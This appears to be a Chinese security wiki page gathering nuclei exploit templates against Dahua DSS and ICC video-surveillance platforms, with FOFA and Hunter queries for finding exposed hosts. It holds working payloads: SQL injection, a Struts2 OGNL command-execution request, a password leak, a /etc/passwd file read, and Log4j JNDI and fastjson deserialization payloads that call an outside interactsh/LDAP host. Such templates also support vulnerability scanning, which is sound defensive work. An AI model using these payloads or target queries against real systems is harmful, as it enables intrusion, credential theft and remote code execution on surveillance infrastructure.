跳到主要内容

大华

大华DSS数字监控系统attachment_clearTempFile.action SQL注入​

FOFA：app="dahua-DSS"

hunter：app.name=="Dahua 大华 DSS 视频管理系统"

image-20240510014551836

image-20240510014457928

nuclei

id: dahua-sql-attachment

info:
  name: dahua-sql-attachment
  author: BY
  severity: high
  tags: dahua
  description: 大华DSS数字监控系统attachment_clearTempFile.action SQL注入

http:
- raw:
  - |
    GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,(select%2012345678),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
    Host: {{Hostname}}
    User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive

  matchers:
    - type: dsl
      dsl:
        - status_code == 200 && contains(body,'~12345678')

image-20240510014430147

大华DSS数字监控系统deleteBulletin-SQL注入漏洞​

FOFA：app="dahua-DSS"

hunter：app.name=="Dahua 大华 DSS 视频管理系统"

image-20240510014551836

image-20240510020217943

nuclei

id: dahua-sql-deleteBulletin

info:
  name: dahua-sql-deleteBulletin
  author: BY
  severity: high
  tags: dahua
  description: 大华DSS数字监控系统deleteBulletin-SQL注入漏洞

requests:
  - raw:
      - |+
        POST /portal/services/itcBulletin?wsdl HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        
        <s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
          <s11:Body>
            <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
              <netMarkings>
                (updatexml(1,concat(0x7e,(SELECT 12345678),0x7e),1))) and (1=1
              </netMarkings>
            </ns1:deleteBulletin>
          </s11:Body>
        </s11:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code==500 && contains(body,"error code [1105]") && contains(body,"~12345678")'

image-20240510020154282

大华DSS数字监控系统存在strust2命令执行漏洞​

FOFA：body="/portal/include/script/dahuaDefined/headCommon.js?type=index"&&title="DSS"

image-20240510014551836

image-20240510154346921

nuclei

id: dahua-rce-strust2

info:
  name: dahua-rce-strust2
  author: BY
  severity: high
  tags: dahua
  description: 大华DSS数字监控系统存在strust2命令执行漏洞

requests:
  - raw:
      - |+
        GET /admin/login_login.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
        Accept-Encoding: gzip, deflate
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 && contains(body,"bin")'

image-20240510153752644

大华DSS数字监控系统user_edit存在密码泄漏漏洞​

FOFA：body="/portal/include/script/dahuaDefined/headCommon.js?type=index"&&title="DSS"

image-20240510014551836

image-20240510164000142

image-20240510164012180

nuclei

id: dahua-info-user_edit

info:
  name: dahua-info-user_edit
  author: BY
  severity: high
  tags: dahua
  description: 大华DSS数字监控系统user_edit存在密码泄漏漏洞

requests:
  - raw:
      - |+
        GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Cookie: JSESSIONID=1B1D0EBCE3AC082FDBA00062678EAAC9; JSESSIONID=48C3365B18E192DAAB020C90A2BF0DEF
        Upgrade-Insecure-Requests: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 && contains(body,"password") && contains(body,"loginPass")'

image-20240510164120528

大华DDS数字监控系统attachment_downloadByUrlAtt.action-任意文件下载漏洞​

FOFA：app="dahua-DSS"

hunter：app.name=="Dahua 大华 DSS 视频管理系统"

image-20240510014551836

image-20240510170145179

nuclei

id: dahua-download-ByUrlAtt

info:
  name: dahua-download-ByUrlAtt
  author: BY
  severity: high
  tags: dahua
  description: 大华DDS数字监控系统attachment_downloadByUrlAtt.action-任意文件下载漏洞

requests:
  - raw:
      - |+
        GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 && contains(body,"root:")'

image-20240510170125501

大华智能物联综合管理平台(ICC)is-exist存在log4j远程代码执行漏洞​

FOFA：body="*客户端会小于800*"

hunter：web.body="*客户端会小于800*"

image-20240510171131246

image-20240510173913497

image-20240513114128023

两种请求头，分别为200/406响应

image-20240510173938250

测试中没有发现能直接利用的资产，jdk版本都大于191

nuclei

id: dahua-log4j-is-exist
info:
  name: dahua-log4j-is-exist
  author: BY
  severity: high
  description: 大华智能物联综合管理平台(ICC)is-exist存在log4j远程代码执行漏洞

requests:
  - raw:
      - |
        POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/2
        Host: {{Hostname}}
        Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
        Accept-Language: zh-CN
        Timeoffset: -28800000
        Sec-Ch-Ua-Mobile: ?0
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
        Content-Type: application/json;charset=utf-8
        cmd: whoami
        Accept: application/json, text/plain, */*
        User-Client: 1
        Sec-Ch-Ua-Platform: "Windows"
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: cors
        Content-Length: 49

        {"loginName":"${jndi:ldap://${sys:java.version}.{{interactsh-url}}}"}

    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "1.8.0_1"

image-20240510173544506

nuclei2

id: dahua-log4j-is-exist
info:
  name: dahua-log4j-is-exist
  author: BY
  severity: high
  description: 大华智能物联综合管理平台(ICC)is-exist存在log4j远程代码执行漏洞

requests:
  - raw:
      - |
        POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/2
        Host: {{Hostname}}
        Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
        Accept-Language: zh-CN
        Timeoffset: -28800000
        Sec-Ch-Ua-Mobile: ?0
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
        Content-Type: application/json;charset=utf-8
        cmd: whoami
        Accept: application/json, text/plain, */*
        User-Client: 1
        Sec-Ch-Ua-Platform: "Windows"
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: cors
        Content-Length: 49

        {"loginName":"${jndi:ldap://${sys:java.version}.{{interactsh-url}}}"}

    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

大华智能物联综合管理平台(ICC)random存在fastjson远程命令执行​

FOFA：body="*客户端会小于800*"，icon_hash="-1935899595"

hunter：web.body="*客户端会小于800*"

image-20240510171131246

nuclei

id: dahua-rce-fastjson
info:
  name: dahua-rce-fastjson
  author: BY
  severity: high
  description: 大华智能物联综合管理平台(ICC)random存在fastjson远程命令执行

requests:
  - raw:
      - |
        POST /evo-runs/v1.0/auths/sysusers/random HTTP/2
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0)
        Connection: close
        Content-Type: application/json;charset=utf-8
        Accept-Encoding: gzip, deflate

        {"a":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://{{interactsh-url}}"}}""},"b":{{"@type":"java.net.URL","val":"http://{{interactsh-url}}"}:"x"},"c":{{"@type":"java.net.URL","val":"http://{{interactsh-url}}"}:0,"d":Set[{"@type":"java.net.URL","val":"http://{{interactsh-url}}"}],"e":Set[{"@type":"java.net.URL","val":"http://{{interactsh-url}}"},}

    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
id: dahua-rce-fastjson
info:
  name: dahua-rce-fastjson
  author: BY
  severity: high
  description: 大华智能物联综合管理平台(ICC)random存在fastjson远程命令执行

requests:
  - raw:
      - |
        POST /evo-runs/v1.0/auths/sysusers/random HTTP/2
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0)
        Connection: close
        Content-Type: application/json;charset=utf-8
        Accept-Encoding: gzip, deflate

        {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true},"hfe4zyyzldp":"="}

    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"